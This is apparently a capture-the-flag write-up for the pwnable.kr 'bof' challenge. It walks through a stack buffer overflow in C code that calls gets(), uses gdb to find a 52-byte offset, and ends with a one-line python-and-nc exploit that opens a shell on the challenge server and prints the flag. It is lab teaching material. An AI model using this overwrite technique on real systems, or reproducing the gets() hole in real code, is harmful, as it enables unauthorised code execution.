Another challenge from pwnable.kr will show us how to perform a simple buffer overflow attack.

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

This time we’re going to download the source code and the binary from the webpage. After that we’re ready to analyze whatever this challenge brings to us.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

Firstly, we can see that this application is vulnerable to overflow, since gets() function won’t cut the characters after the buffer. Let’s see man pages.

Never use gets().  Because it is impossible to tell without knowing the
data  in  advance  how  many  characters  gets() will read, and because
gets() will continue to store characters past the end of the buffer, it
is  extremely  dangerous  to  use.   It has been used to break computer
security.  Use fgets() instead.

Since the best way to execute /bin/sh is to make the the comparision true, we will have to overflow the buffer, and change the value of the key parameter. Game plan is to find out the address of the key, and then the address of overflowme. This will allow us to calculate the offset between those 2 addresses, resulting in the number of trash data that has to be put into the buffer.

Let’s fire up gdb, and disassemble main() function.

[email protected] ~ % gdb ./bof

(gdb) disas main
Dump of assembler code for function main:
   0x0000068a <+0>:	push   %ebp
   0x0000068b <+1>:	mov    %esp,%ebp
   0x0000068d <+3>:	and    $0xfffffff0,%esp
   0x00000690 <+6>:	sub    $0x10,%esp
   0x00000693 <+9>:	movl   $0xdeadbeef,(%esp)
   0x0000069a <+16>:	call   0x62c <func>
   0x0000069f <+21>:	mov    $0x0,%eax
   0x000006a4 <+26>:	leave
   0x000006a5 <+27>:	ret
End of assembler dump.

Here we can see that at main+9 the 0xdeadbeef is moved into the esp. In order to find the address of this variable we will have to set up breakpoint at main+16, and view the content of stack pointer.

(gdb) break *main+16
Breakpoint 1 at 0x69a
(gdb) run
Starting program: /home/w3ndige/programming/pwnable.kr/bof

Breakpoint 1, 0x5655569a in main ()
(gdb) x/x $esp
0xffffd180:	0xdeadbeef

Great, we have it! Now we have to find the address of overflowme buffer, which lays in the func function. Let’s disassemble it.

(gdb) disas func
Dump of assembler code for function func:
   0x0000062c <+0>:	push   ebp
   0x0000062d <+1>:	mov    ebp,esp
   0x0000062f <+3>:	sub    esp,0x48
   0x00000632 <+6>:	mov    eax,gs:0x14
   0x00000638 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:	xor    eax,eax
   0x0000063d <+17>:	mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:	call   0x645 <func+25>
   0x00000649 <+29>:	lea    eax,[ebp-0x2c]
   0x0000064c <+32>:	mov    DWORD PTR [esp],eax
   0x0000064f <+35>:	call   0x650 <func+36>
   0x00000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:	jne    0x66b <func+63>
   0x0000065d <+49>:	mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:	call   0x665 <func+57>
   0x00000669 <+61>:	jmp    0x677 <func+75>
   0x0000066b <+63>:	mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:	call   0x673 <func+71>
   0x00000677 <+75>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:	xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:	je     0x688 <func+92>
   0x00000683 <+87>:	call   0x684 <func+88>
   0x00000688 <+92>:	leave
   0x00000689 <+93>:	ret
End of assembler dump.

Since we know that local variables are on the negative size of ebp (read more), we can guess that ebp-0x2c is the address of overflowme variable. Let’s set another breakpoint at gets and find out if it’s true.

(gdb) break gets
Breakpoint 2 at 0xf7e3b915
(gdb) c
Continuing.
overflow me :

Breakpoint 2, 0xf7e3b915 in gets () from /usr/lib32/libc.so.6
(gdb) next
Single stepping until exit from function gets,
which has no line number information.
helloworld
0x56555654 in func ()
(gdb) x/1s $ebp -0x2c
0xffffd14c:	"helloworld"

Now we’re ready to calculate the offset between those two addresses.

>>> 0xffffd180 - 0xffffd14c
52

Ready to exploit?

[email protected] ~ % (python2 -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
whoami
bof
ls -la
total 25060
drwxr-x---  3 root bof      4096 Oct 23  2016 .
drwxr-xr-x 80 root root     4096 Jan 11  2017 ..
d---------  2 root root     4096 Jun 12  2014 .bash_history
-r-xr-x---  1 root bof      7348 Sep 12  2016 bof
-rw-r--r--  1 root root      308 Oct 23  2016 bof.c
-r--r-----  1 root bof        32 Jun 11  2014 flag
-rw-------  1 root root 25626087 Nov 23 11:33 log
-rw-r--r--  1 root root        0 Oct 23  2016 log2
-rwx------  1 root root      760 Sep 10  2014 super.pl
cat flag
daddy, I just pwned a buFFer :)

By printing 52 A letters and the number used in comparision (stored in little endian format), we were able to exploit this application.